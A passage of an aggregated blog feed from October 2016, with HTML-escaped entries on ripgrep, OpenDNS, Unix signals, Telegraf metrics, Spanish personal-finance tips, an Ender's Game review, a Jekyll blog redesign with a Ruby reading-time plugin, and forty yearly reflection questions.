&lt;p&gt;Not satisfied with a 3-character search command, Geoff Greer created &lt;code&gt;the_silver_searcher&lt;/code&gt; in 2011. It is written in C and the command is &lt;code&gt;ag&lt;/code&gt; (periodic table for silver), thus yet another 33% shorter to type than &lt;code&gt;ack&lt;/code&gt;. read more at &lt;a href="http://geoff.greer.fm/ag/"&gt;The Silver Searcher&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Recently we've been blessed with the newest candidate for king: ripgrep. ripgrep is written in rust and the command is &lt;code&gt;rg&lt;/code&gt;. Read more at &lt;a href="https://github.com/BurntSushi/ripgrep"&gt;BurntSushi/ripgrep&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Give it a whirl: &lt;code&gt;brew install ripgrep&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Interesting that ripgrep was not bold enough to go for the 1-character command. I wonder when someone will release a program called &lt;code&gt;s&lt;/code&gt; and attempt to take the throne.&lt;/p&gt;
&lt;p&gt;All these tools are useful, but most I think the usernames petdance and burntsushi and project name the silver searcher and ripgrep are fantastic. Great job on naming things!&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Sat, 22 Oct 2016 00:11:04 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/10/ripgrep-is-the-new-hotness/</guid></item><item><title>Open DNS for when DNS outages occur</title><link>/2016/10/21/opendns/</link><description>&lt;p&gt;Open DNS is a DNS resolver that caches records beyond their TTL if the upstream DNS server cannot be found. In cases like today&amp;rsquo;s major outage it can be handy to swap your DNS settings out for this, or it may be worth using as a standard default. Resolution may be a bit slow as it will try to see if the upstream server cannot be found, but it at least can get you back to a working state.&lt;/p&gt;
&lt;p&gt;If you know what you&amp;rsquo;re doing then all you need to do is configure your DNS settings to: &lt;code&gt;208.67.220.220&lt;/code&gt; and &lt;code&gt;208.67.222.222&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you need a little more guidance you can go into your System Preferences on Mac, select Network, then Advanced and finally the DNS tab. You should set it up to look as follows:&lt;/p&gt;
&lt;p&gt;&lt;img alt="DNS Configuration" src="https://d3vv6lp55qjaqc.cloudfront.net/items/0c2T1M251T0D3r1D2Q3x/Network.png?X-CloudApp-Visitor-Id=e4475d145dcf11ebcffabf840edcc11f&amp;amp;v=cd767ce0" /&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Fri, 21 Oct 2016 23:55:56 GMT</pubDate><guid isPermaLink="true">/2016/10/21/opendns/</guid></item><item><title>2016-10-21/01</title><link>https://ho.dges.online/pictures/2016-10-21-01/</link><description/><author>ho.dges.online</author><pubDate>Fri, 21 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-10-21-01/</guid></item><item><title>2016-10-21/03</title><link>https://ho.dges.online/pictures/2016-10-21-03/</link><description/><author>ho.dges.online</author><pubDate>Fri, 21 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-10-21-03/</guid></item><item><title>Embedded Linux Conference Europe 2016</title><link>https://anisse.astier.eu/embedded-linux-conference-europe-2016.html</link><description>&lt;p&gt;I was in Berlin last week for ELCE, and it was great. It was a nice mix of talks on many different subjects, and as always you come back with lots of new ideas and improved motivation.&lt;/p&gt;
&lt;p&gt;As you know, I took some notes for &lt;a href="kernel-recipes-2016-notes.html"&gt;Kernel Recipes 2016&lt;/a&gt;, and lots …&lt;/p&gt;</description><author>Linux Engineer's random thoughts</author><pubDate>Fri, 21 Oct 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://anisse.astier.eu/embedded-linux-conference-europe-2016.html</guid></item><item><title>Unix Signals</title><link>https://venam.net/blog/unix/2016/10/21/unix-signals.html</link><description>Signals have been there since the very first version of Unix.  They were just a bit different from what we know today.  For many reasons in fact, they've gone through many iterations of development and ideas.  Today we have one single system call to catch all signals but that only appeared in version 4 of Unix and before that there were different system calls to catch different types of signals.  In version 7 of Unix signals received a symbolic name for the number corresponding to the signal, for instance, "KILL" "HUP".  The kill command appeared early on in version 2 of Unix.  BSD soon added the SIGUSR1 and SIGUSR2 signals to their version with the aim of using it for IPC.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Thu, 20 Oct 2016 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/unix/2016/10/21/unix-signals.html</guid></item><item><title>Telegraf &amp;amp; Prometheus Swiss Army Knife for Metrics</title><link>https://blog.nobugware.com/post/2016/telegraf_prometheus_metrics_swiss_army_knife/</link><description>There are a lot of different solutions when it comes to collecting metrics, I found myself happy with this hybrid solution.
Telegraf is an agent written in Go for collecting metrics from the system it&amp;rsquo;s running on.
It&amp;rsquo;s developed by Influxdata the people behind InfluxDB, but Telegraf has a lot of outputs plugins and can be used without InfluxDB.
Many different platform (FreeBSD, Linux, x86, Arm &amp;hellip;) are offered and only one single static binary (Thanks to Golang) is needed to deploy an agent.</description><author>Fabrice Aneche</author><pubDate>Thu, 20 Oct 2016 15:58:10 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/telegraf_prometheus_metrics_swiss_army_knife/</guid></item><item><title>Me cuesta llegar a fin de mes, ¿cómo ahorro?</title><link>https://danielpecos.com/2016/10/20/me-cuesta-llegar-fin-mes-ahorro/</link><description>&lt;p&gt;&lt;img alt="Llegar a fin de mes" class="alignleft size-medium" height="199" src="https://danielpecos.com/assets/2016/10/ahorrar-en-septiembre.jpg" width="300" /&gt;Ya hemos comentado que &lt;a href="http://inversornovato.es/la-base-de-la-inversion-el-ahorro/"&gt;el ahorro es la base de la inversión&lt;/a&gt;, pero &lt;strong&gt;¿cómo conseguir ahorrar si a duras penas llego a fin de mes?&lt;/strong&gt; Aunque sin fácil solución, te voy a comentar algunos trucos o consejos que he utilizado en alguna ocasión.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Primero y posiblemente el más importante: &lt;strong&gt;reduce gastos fijos&lt;/strong&gt;. ¿Necesitas todo lo que tienes contratado? Puedes empezar por reducir la cobertura del seguro del coche, la velocidad del internet contratado, la tarifa del móvil, incluso servicios absurdos, como por ejemplo el servicio de identificación de llamadas de la línea fija (sí, no es broma, 1€/mes)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Renegociar condiciones hipotecarias&lt;/strong&gt;: puede que no sea fácil o incluso una opción en ese determinado momento, pero estad siempre pendientes de las condiciones hipotecarias que ofrece el mercado. Es posible que un cambio de banco o una renegociación de condiciones con el actual, nos ayude a aumentar nuestro líquido disponible. Consejo: tratad de no alargar los plazos de amortización, eso se termina traduciendo en mayor pago de intereses al final del préstamo o hipoteca.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Austeridad&lt;/strong&gt;: si tenemos problemas para llegar a fin de mes, reduce gastos puntuales que no sean directamente esenciales: eventos sociales (cines, cenas, cubatas, …), llévate comida de casa en vez de comer de restaurante o trata de reducir el uso del coche (haz un uso compartido o incluso utiliza la bicicleta si es posible)&lt;/li&gt;
&lt;li&gt;Busca &lt;strong&gt;liquidez a coste 0&lt;/strong&gt;: por ejemplo, un truco que he usado en alguna ocasión para no tirar de crédito de tarjeta para obtener liquidez consiste en hacer compras de valor importante de familiares que vayan a comprar por voluntad propia (no es cuestión de obligarles a gastarse el dinero), pagarlas con mi tarjeta en modo aplazado a final de mes (que en mi caso, y seguro que en el de muchos más, no tiene coste alguno) y que éstos nos den el dinero en metálico. Con esto conseguimos algo de liquidez extra. Aunque no hay que pasarse con ésto, ¡a final de mes llegará puntualmente el acumulado total de la tarjeta!&lt;/li&gt;
&lt;li&gt;Buscar &lt;strong&gt;ingresos extras&lt;/strong&gt;: buscar tareas en webs de freelance que nos permitan obtener un dinero extra. Por lo normal, requerirán que les dediquemos un determinado esfuerzo / tiempo (&lt;strong&gt;estamos vendiendo nuestro tiempo, que es el único bien del que disponemos y que siempre va en decremento&lt;/strong&gt;), por lo que no es el ideal, pero siempre será mejor que aumentar nuestro endeudamiento. Lo ideal sería conseguir una &lt;strong&gt;fuente de ingresos pasivos&lt;/strong&gt;, pero eso es algo que requiere algún tiempo.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Para terminar, mi última recomendación es que trates por todo lo posible de pedir préstamos o aplazar pagos de tarjetas. Todo esto tiene un coste asociado, por lo que terminarás pagando más de lo que inicialmente precisabas, por lo que si no es del todo imprescindible (y en tal caso, meditar largo y tendido si realmente nos va a hacer algún bien) evita el contratar este tipo de servicios.&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Thu, 20 Oct 2016 08:09:27 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/10/20/me-cuesta-llegar-fin-mes-ahorro/</guid></item><item><title>El Juego de Ender</title><link>https://danielpecos.com/2016/10/20/el-juego-de-ender/</link><description>&lt;p&gt;&lt;a href="http://www.amazon.es/El-juego-Ender-B-Books-ebook/dp/B00DSNF5OM%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3DB00DSNF5OM"&gt;&lt;img alt="El Juego de Ender" class="alignleft size-full" height="550" src="https://danielpecos.com/assets/2017/10/El-Juego-de-Ender.jpg" width="359" /&gt;&lt;/a&gt;Una especie extraterrestre con apariencia de insectos ataca la Tierra. Estos seres son capaces de comunicarse telepáticamente y se catalogan como una especie superior a los humanos, por lo que se proponen destruir a cada persona que habite en el mundo.&lt;/p&gt;
&lt;p&gt;Sin embargo, la humanidad tratará de evitar su exterminio, así que para vencer a los insectores (nombre de los extraterrestres) necesitan de un genio militar capaz de contrarrestar esta amenaza, por lo que permiten el nacimiento de Ender, el tercer primogénito de una pareja en un planeta donde se ha reducido el número de descendientes a dos personas.&lt;/p&gt;
&lt;p&gt;Ender nació para recibir entrenamiento especial en una estación, luego de que su hermana mayor y Peter (su hermano) hayan sido considerados como no aptos para la misión. Y bajo la estricta supervisión de la Flota Internacional, el respetado Coronel Hyrum Graff se hace cargo de comandar el entrenamiento, donde estos jóvenes, quienes se distribuyen en grupos, combaten entre sí, utilizando armas que paralizan sus armaduras.&lt;/p&gt;
&lt;h3 id="los-simuladores-en-el-juego-de-ender"&gt;&lt;strong&gt;Los simuladores en El Juego de Ender&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;En consecuencia, Ender deberá aprender cada uno de las técnicas alusivas a la guerra a través de videojuegos y en los difíciles ensayos de batallas que realiza junto a sus compañeros de entrenamiento. Por consiguiente, a la habilidad de cómo se narran las emociones en esta novela, también se le añade un elemento muy llamativo, que es el empleo de las simulaciones y juegos de fantasía en la preparación militar, psicológica y estratégica del protagonista.&lt;/p&gt;
&lt;p&gt;Ahora bien, Ender logra desarrollar habilidades únicas y su potencial para luchar es más avanzada que la de los demás, así que rápidamente sube de rango en la estación y termina convirtiéndose en un líder indiscutible, es decir, en el guerrero más apto para dar órdenes a las flotas terrestres contras los insectores. Sin embargo, al llegar a la Escuela de Alto Mando, el prodigioso guerrero se percata que la guerra contra la especie extraterrestre es mucho más difícil de lo que se había imaginado.&lt;/p&gt;
&lt;h3 id="el-futuro-del-mundo-depende-de-ender"&gt;&lt;strong&gt;El futuro del mundo depende de Ender&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;De esta forma, comienza la acción en &lt;strong&gt;El Juego de Ender&lt;/strong&gt;, donde se pretende salvar a la humanidad de un Apocalipsis y un futuro devastador. Así que el destino de la humanidad está en mano del nuevo y legendario Mazer, que es nada menos que Ender Wiggin, cuya personalidad es bastante tímida pero posee un talento innato y peligroso para los enfrentamientos bélicos.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Una lectura épica&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;El Juego de Ender&lt;/strong&gt; está perfectamente relatado, gracias a que logra recrearte imágenes en tu mente acerca de las batallas, de manera que te las imaginas totalmente, lo que resulta muy divertido a la hora de leer un libro.&lt;/p&gt;
&lt;p&gt;Por otra parte, el autor Orson Scott Card, describe de manera excepcional los diferentes estados de ánimo del protagonista, que frecuentemente tiende a reflexionar acerca del sentido del juego, incluyendo a sus jóvenes compañeros, colegas, superiores y sus subordinados, así como también a su familia.&lt;/p&gt;
&lt;p&gt;Si obtienes &lt;strong&gt;El Juego de Ender&lt;/strong&gt; te darás un gran banquete y tendrás la oportunidad de disfrutar de un bestseller, que fue galardonado en los premios más afamados de la ciencia ficción: el Premio Nébula como la mejor novela en 1985 y un año después el Premio Hugo.&lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Thu, 20 Oct 2016 08:00:02 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/10/20/el-juego-de-ender/</guid></item><item><title>Blog redesign and new features</title><link>https://muffinman.io/blog/new-design-and-features/</link><description>&lt;article class="article"&gt;&lt;div class="notice notice--warning"&gt;Please note that I&amp;#x27;m not using Jekyll anymore, so this post might be outdated.&lt;/div&gt;&lt;p&gt;As you probably noticed I redesigned my blog and added some new features.
This is a list of the new stuff.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;New design&lt;/li&gt;
&lt;li&gt;Category pages&lt;/li&gt;
&lt;li&gt;Comments&lt;/li&gt;
&lt;li&gt;Search&lt;/li&gt;
&lt;li&gt;Reading time&lt;/li&gt;
&lt;li&gt;Share buttons&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="new-design"&gt;New design &lt;a class="anchor-link" href="#new-design"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;My friend Nikola, from &lt;a href="http://mida.rs"&gt;MIDA&lt;/a&gt; digital agency, helped me a lot with this one.
I gave him a basic idea what I wanted, and he came up with this simple but beautiful design.
It might go through some smaller changes in the future, but nothing major.
Hope you like it.&lt;/p&gt;
&lt;h3 id="category-pages"&gt;Category pages &lt;a class="anchor-link" href="#category-pages"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;These are accessible from the main menu, or by clicking on the category link at the end of the post.
Obviosly, they list all of the posts for the selected category.
This is the plugin I used: &lt;a href="https://github.com/jekyll/jekyll-archives"&gt;jekyll-archives&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="comments"&gt;Comments &lt;a class="anchor-link" href="#comments"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://staticman.net/"&gt;Staticman&lt;/a&gt; brings user generated content to the static site generators.
You can add their bot to your repo, and then hitting specific endpoint will
generate a pull request (or push directly) with the data user entered.
My comments are going through pull requests, which enables me to moderate them.&lt;/p&gt;
&lt;h3 id="search"&gt;Search &lt;a class="anchor-link" href="#search"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Also accessible from the main menu. Search is done by JavaScript and it
goes through JSON object with post titles.
It uses fuzzy search algorithm, so it will find every title
that has all of the letters you entered.
Longer word matched will give higher priority to a result.
(Try typing &lt;code&gt;SASS&lt;/code&gt; for example.)&lt;/p&gt;
&lt;h3 id="reading-time"&gt;Reading time &lt;a class="anchor-link" href="#reading-time"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;At the top of each post, you&amp;#x27;ll see estimated reading time.
It is a very simple plugin I found somewhere on the internet and modified a bit.&lt;/p&gt;
&lt;p&gt;Here it is:&lt;/p&gt;
&lt;pre class="language-ruby"&gt;&lt;code class="language-ruby code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# Outputs the reading time&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# Read this in &amp;quot;about 4 minutes&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# Put into your _plugins dir in your Jekyll site&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# Usage: Read this in about &amp;quot;page.content | reading_time&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;module&lt;/span&gt; &lt;span class="token class-name"&gt;ReadingTimeFilter&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;def&lt;/span&gt; &lt;span class="token method-definition"&gt;&lt;span class="token function"&gt;reading_time&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt; input &lt;span class="token punctuation"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    words_per_minute &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token number"&gt;180&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    words &lt;span class="token operator"&gt;=&lt;/span&gt; input&lt;span class="token punctuation"&gt;.&lt;/span&gt;split&lt;span class="token punctuation"&gt;.&lt;/span&gt;size&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    minutes &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt; words &lt;span class="token operator"&gt;/&lt;/span&gt; words_per_minute &lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;floor
&lt;/span&gt;&lt;span class="code-line"&gt;    minutes_label &lt;span class="token operator"&gt;=&lt;/span&gt; minutes &lt;span class="token operator"&gt;===&lt;/span&gt; &lt;span class="token number"&gt;1&lt;/span&gt; &lt;span class="token operator"&gt;?&lt;/span&gt; &lt;span class="token string-literal"&gt;&lt;span class="token string"&gt;&amp;quot; minute&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string-literal"&gt;&lt;span class="token string"&gt;&amp;quot; minutes&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    minutes &lt;span class="token operator"&gt;&amp;gt;&lt;/span&gt; &lt;span class="token number"&gt;0&lt;/span&gt; &lt;span class="token operator"&gt;?&lt;/span&gt; &lt;span class="token string-literal"&gt;&lt;span class="token string"&gt;&amp;quot;about &lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token delimiter punctuation"&gt;#{&lt;/span&gt;&lt;span class="token content"&gt;minutes&lt;/span&gt;&lt;span class="token delimiter punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt; &lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token delimiter punctuation"&gt;#{&lt;/span&gt;&lt;span class="token content"&gt;minutes_label&lt;/span&gt;&lt;span class="token delimiter punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string-literal"&gt;&lt;span class="token string"&gt;&amp;quot;less than 1 minute&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;Liquid&lt;span class="token double-colon punctuation"&gt;::&lt;/span&gt;Template&lt;span class="token punctuation"&gt;.&lt;/span&gt;register_filter&lt;span class="token punctuation"&gt;(&lt;/span&gt;ReadingTimeFilter&lt;span class="token punctuation"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="share-buttons"&gt;Share buttons &lt;a class="anchor-link" href="#share-buttons"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;At the end of each post, there are three simple sharing buttons.
For Facebook, Twitter and Google+. No API or third party scripts are loaded.&lt;/p&gt;
&lt;h3 id="other-stuff-i-want-to-add"&gt;Other stuff I want to add &lt;a class="anchor-link" href="#other-stuff-i-want-to-add"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Real related posts - Jekyll by default as related posts actually shows latest posts.
I&amp;#x27;m still looking for a nice way to implement this.
Probably I&amp;#x27;ll just match posts by tags.&lt;/li&gt;
&lt;li&gt;Meta data (for sharing and SEO) - just need to add few meta tags to the head.&lt;/li&gt;
&lt;li&gt;JSX syntax highlighting - not sure how to make this one, still at the drawing board.&lt;/li&gt;
&lt;li&gt;Add icon for the &lt;a href="/atom.xml"&gt;ATOM feed&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="custom-plugins-and-github-pages"&gt;Custom plugins and GitHub pages &lt;a class="anchor-link" href="#custom-plugins-and-github-pages"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;When I first pushed new version of the blog, most of the new features were missing.
I quickly learned that GitHub pages doesn&amp;#x27;t allow custom plugins.
It is a reasonable security feature.&lt;/p&gt;
&lt;p&gt;I decided to get a hosting for the blog, and then use Jenkins to make a Jekyll builds.
But colleague told me that this is easily doable using &lt;a href="https://travis-ci.org/"&gt;Travis&lt;/a&gt;,
without any outside hosting.
There will be a &lt;a href="/blog/travis-jekyll-and-github-pages/"&gt;new post&lt;/a&gt; about it, with detailed description how to set it up.&lt;/p&gt;
&lt;p&gt;Basically I use the &lt;code&gt;source&lt;/code&gt; branch for the Jekyll website, and Travis is watching for the pushes on that branch.
When push is detected, Travis builds static HTML and pushes it to the &lt;code&gt;master&lt;/code&gt; branch.
From there GitHub pages takes over and deploys it.&lt;/p&gt;
&lt;h3 id="for-the-end"&gt;For the end &lt;a class="anchor-link" href="#for-the-end"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Hope you guys like the changes, if you are interested in anything specific, feel free to leave a comment.
I&amp;#x27;ll try to answer it, or even write a completely new post about it. Thanks!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Thu, 20 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/new-design-and-features/</guid></item><item><title>2016-10-20</title><link>https://ho.dges.online/pictures/2016-10-20/</link><description/><author>ho.dges.online</author><pubDate>Thu, 20 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-10-20/</guid></item><item><title>3 cases where JavaScript generators rock (+ understanding them)</title><link>https://goshacmd.com/javascript-generators-understanding-sample-use-cases/</link><author>Gosha Spark</author><pubDate>Thu, 20 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/javascript-generators-understanding-sample-use-cases/</guid></item><item><title>40 questions to ask yourself every year</title><link>https://stephango.com/40-questions</link><description>&lt;p&gt;One of my end-of-year rituals is asking myself these forty questions. It usually takes me about a week to work my way through all of them. I find it to be one of the most valuable exercises to reflect on what happened, good and bad, and how I hope the year ahead will shape up.&lt;/p&gt;

&lt;p&gt;These questions are available in &lt;a href="https://github.com/kepano/40-questions"&gt;Markdown format&lt;/a&gt; and &lt;a href="https://github.com/kepano/40-questions#translations"&gt;in 35 languages&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;What is more interesting than each individual answer are the trends that emerge after years of answering the same questions. I’ve shared this list with my family and closest friends, and always enjoy discussing answers as we reflect on the year.&lt;/p&gt;

&lt;p&gt;Feel free to add or remove questions, and &lt;a class="internal-link" href="/subscribe"&gt;share your edits&lt;/a&gt;. This is first and foremost a personal exercise, so make it a tradition you can enjoy for years to come. See also my &lt;a class="internal-link" href="/40-questions-decade"&gt;40 questions to ask yourself every decade&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;ol&gt;
  &lt;li&gt;What did you do this year that you’d never done before?&lt;/li&gt;
  &lt;li&gt;Did you keep your new year’s resolutions?&lt;/li&gt;
  &lt;li&gt;Did anyone close to you give birth?&lt;/li&gt;
  &lt;li&gt;Did anyone close to you die?&lt;/li&gt;
  &lt;li&gt;What cities/states/countries did you visit?&lt;/li&gt;
  &lt;li&gt;What would you like to have next year that you lacked this year?&lt;/li&gt;
  &lt;li&gt;What date(s) from this year will remain etched upon your memory, and why?&lt;/li&gt;
  &lt;li&gt;What was your biggest achievement of the year?&lt;/li&gt;
  &lt;li&gt;What was your biggest failure?&lt;/li&gt;
  &lt;li&gt;What other hardships did you face?&lt;/li&gt;
  &lt;li&gt;Did you suffer illness or injury?&lt;/li&gt;
  &lt;li&gt;What was the best thing you bought?&lt;/li&gt;
  &lt;li&gt;Whose behavior merited celebration?&lt;/li&gt;
  &lt;li&gt;Whose behavior made you appalled?&lt;/li&gt;
  &lt;li&gt;Where did most of your money go?&lt;/li&gt;
  &lt;li&gt;What did you get really, really, really excited about?&lt;/li&gt;
  &lt;li&gt;What song will always remind you of this year?&lt;/li&gt;
  &lt;li&gt;Compared to this time last year, are you: happier or sadder? Richer or poorer? Healthier or unhealthier?&lt;/li&gt;
  &lt;li&gt;What do you wish you’d done more of?&lt;/li&gt;
  &lt;li&gt;What do you wish you’d done less of?&lt;/li&gt;
  &lt;li&gt;How are you spending the holidays?&lt;/li&gt;
  &lt;li&gt;Did you fall in love this year?&lt;/li&gt;
  &lt;li&gt;Do you hate anyone now that you didn’t hate this time last year?&lt;/li&gt;
  &lt;li&gt;What was your favorite show?&lt;/li&gt;
  &lt;li&gt;What was the best book you read?&lt;/li&gt;
  &lt;li&gt;What was your greatest musical discovery of the year?&lt;/li&gt;
  &lt;li&gt;What was your favorite film?&lt;/li&gt;
  &lt;li&gt;What was your favorite meal?&lt;/li&gt;
  &lt;li&gt;What did you want and get?&lt;/li&gt;
  &lt;li&gt;What did you want and not get?&lt;/li&gt;
  &lt;li&gt;What did you do on your birthday?&lt;/li&gt;
  &lt;li&gt;What one thing would have made your year immeasurably more satisfying?&lt;/li&gt;
  &lt;li&gt;How would you describe your personal fashion this year?&lt;/li&gt;
  &lt;li&gt;What kept you sane?&lt;/li&gt;
  &lt;li&gt;Which celebrity/public figure did you admire the most?&lt;/li&gt;
  &lt;li&gt;What political issue stirred you the most?&lt;/li&gt;
  &lt;li&gt;Who did you miss?&lt;/li&gt;
  &lt;li&gt;Who was the best new person you met?&lt;/li&gt;
  &lt;li&gt;What valuable life lesson did you learn this year?&lt;/li&gt;
  &lt;li&gt;What is a quote that sums up your year?&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;p&gt;Also available in &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/ar/year.md"&gt;Arabic&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/bg/year.md"&gt;Bulgarian&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/ca/year.md"&gt;Catalan&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/zh-hans/year.md"&gt;Chinese simplified&lt;/a&gt; and &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/zh-hant/year.md"&gt;traditional&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/dv/year.md"&gt;Dhivehi&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/nl/year.md"&gt;Dutch&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/tl/year.md"&gt;Filipino&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/fi/year.md"&gt;Finnish&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/fr/year.md"&gt;French&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/de/year.md"&gt;German&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/el/year.md"&gt;Greek&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/hi/year.md"&gt;Hindi&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/hu/year.md"&gt;Hungarian&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/id/year.md"&gt;Indonesian&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/it/year.md"&gt;Italian&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/ja/year.md"&gt;Japanese&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/ko/year.md"&gt;Korean&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/lv/year.md"&gt;Latvian&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/lt/year.md"&gt;Lithuanian&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/ml/year.md"&gt;Malayalam&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/no/year.md"&gt;Norwegian&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/fa/year.md"&gt;Persian&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/pl/year.md"&gt;Polish&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/pt/year.md"&gt;Portuguese&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/ru/year.md"&gt;Russian&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/sv/year.md"&gt;Slovak&lt;/a&gt;, &lt;a 